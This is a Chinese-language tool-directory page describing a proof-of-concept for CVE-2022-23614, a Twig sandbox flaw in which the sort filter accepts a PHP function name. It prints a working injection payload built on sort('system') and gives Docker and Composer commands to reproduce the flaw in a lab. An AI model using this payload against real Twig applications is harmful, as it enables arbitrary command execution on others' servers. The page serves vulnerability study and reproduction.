Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-23614 — CVE-2022-23614(Twig 中的命令注入)的概念验证 | Kitploit
工具/GitHubGitHub/4rtamis/cve-2022-23614
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

CVE-2022-23614(Twig 中的命令注入)的概念验证

查看仓库
13年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-23614

针对 CVE-2022-23614 的概念验证(PoC),该漏洞在 DSA-5107-1 中被提及。

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

说明

Twig 是一个灵活、快速且安全的 PHP 模板引擎。值得注意的是,可以在渲染模板之前使用过滤器。sort 过滤器可用于对数组元素进行排序,结构如下:

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig 有一个沙箱模式,用于评估不可信的模板代码。在此沙箱模式下,sort 过滤器的 arrow 参数必须是一个闭包,以防止攻击者运行任意 PHP 函数。在受影响的版本中,此约束未得到正确执行,可能导致注入任意 PHP 代码。

root@kitploit:~
{{ ["id",""]|sort('system') }}

用法

该 PoC 展示了两种不同使用场景下的漏洞:使用 Debian 的 php-twig(v2.14.1)包,或使用 Composer 的 twig/twig(v2.14)模块。

index.php 文件根据第一个参数构造一个 Twig 模板。在以下代码中,argv[1] 是 Twig 在渲染时将使用的排序函数名称。

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

然后,index.php 将使用 Twig 的两个已弃用函数来加载生成的模板。最后,它使用第二个参数(argv[2])在渲染时将数据传递给模板,特别是我们想要排序的 args 数组。

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

渲染后的模板随后被打印到标准输出。

请注意,此仓库仅用于演示目的。它设计得简单易懂且易于使用,以便仅通过命令行界面来体验 CVE。这与实际易受攻击服务器上的情况相去甚远。

php-twig

使用 Docker,我们可以重现原始 Debian 安全公告(DSA) 的上下文。你可以使用提供的 build-docker.sh 脚本来正确构建并运行易受攻击的容器。

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

容器在执行载荷(一个 id 命令)后应自动关闭。如果你想尝试自己的命令,可以以交互模式运行容器:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

进入容器后,你可以使用以下模板构造自己的载荷:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

此 Dockerfile 部分使用了 DECRET 创建。

Composer

如果你的机器上已安装 PHP 和 Composer,可以使用易受攻击的 Composer 模块来复现此漏洞。

root@kitploit:~
cd exploit
composer install

然后只需运行载荷即可。

root@kitploit:~
php index.php system '{"args":["id",""]}'

参考文献

CVE 详情: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

补丁提交: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

PoC 作者 davwwwx(使用 GUI): https://github.com/davwwwx/CVE-2022-23614

下载工具